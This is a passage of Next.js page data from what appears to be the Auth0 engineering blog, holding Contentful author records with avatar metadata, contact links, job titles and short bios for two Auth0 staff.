Wilson","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"72TGUR0waTmgxslAXLYzBw","type":"Asset","createdAt":"2021-03-22T08:44:09.729Z","updatedAt":"2021-03-22T08:44:09.729Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","description":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/72TGUR0waTmgxslAXLYzBw/3cc71ca89c60959ba47b3a31c59383c7/ec1c9350c3d2306e7c42b9307bea93de_s_480_r_pg_d_https_3A_2F_2Fcdn","details":{"size":38493,"image":{"width":480,"height":480}},"fileName":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","contentType":"image/jpeg"}}},"lastUpdatedBy":"Unknown during the migration","email":"yvonne.wilson@auth0.com","twitter":"https://twitter.com/ywilsonauth0","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Strategic Operations and Technical Field Enablement Director","description":"I like working at Auth0 because I’m interested in how to scale a startup and training the next generation of identity experts."}},{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6nc2ZBdGPm0a4S2GkXSEf4","type":"Entry","createdAt":"2021-03-22T08:18:24.514Z","updatedAt":"2023-11-01T17:44:05.194Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":8,"revision":3,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"dan-arias","name":"Dan Arias","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6WmRCtZz0eDp6KE7pw8cJ3","type":"Asset","createdAt":"2021-03-22T08:29:52.872Z","updatedAt":"2021-03-22T08:29:52.872Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"37590801?s=460\u0026v=4","description":"37590801?s=460\u0026v=4 avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/6WmRCtZz0eDp6KE7pw8cJ3/7329ebb6302316cab8f55705100abab5/37590801_s_460_v_4","details":{"size":10772,"image":{"width":298,"height":298}},"fileName":"37590801?s=460\u0026v=4","contentType":"image/jpeg"}}},"lastUpdatedBy":"robertino.calcaterra@auth0.com","email":"dan.arias@okta.com","twitter":"http://twitter.com/getDanArias","github":null,"linkedin":null,"isPopular":true,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Staff Developer Advocate","description":"Howdy! 🤠 I do technology research at Auth0 with a focus on security and identity and develop apps to showcase the advantages or pitfalls of such technology. I also contribute to the development of our SDKs, documentation, and design systems, such as \u003ca target='_blank' rel='noopener noreferrer' href='https://github.com/auth0/cosmos'\u003e\u003cstrong\u003eCosmos\u003c/strong\u003e\u003c/a\u003e.\u003cbr /\u003e\u003cbr /\u003eThe majority of my engineering work revolves around AWS, React, and Node, but my research and content development involves a wide range of topics such as Golang, performance, and cryptography. Additionally, I am one of the core maintainers of this blog. Running a blog at scale with \u003cstrong\u003eover 600,000 unique visitors per month\u003c/strong\u003e is quite challenging!\u003cbr /\u003e\u003cbr /\u003eI was an Auth0 customer before I became an employee, and I've always loved how much easier it is to implement authentication with Auth0. Curious to try it out? \u003ca href='https://auth0.com/signup' data-amp-replace='CLIENT_ID' data-amp-addparams='anonId=CLIENT_ID(cid-scope-cookie-fallback-name)'\u003e\u003cstrong\u003eSign up for a free account\u003c/strong\u003e\u003c/a\u003e ⚡️."}}]},"__N_SSG":true},"page":"/blog/engineering","query":{},"buildId":"sbdc01OnY4MwK1OQEBgnb","assetPrefix":"/blog","isFallback":false,"gsp":true,"customServer":true,"scriptLoader":[]}</script></body></html>

Pages: 1 2 3 4 5 6 7 8 9 10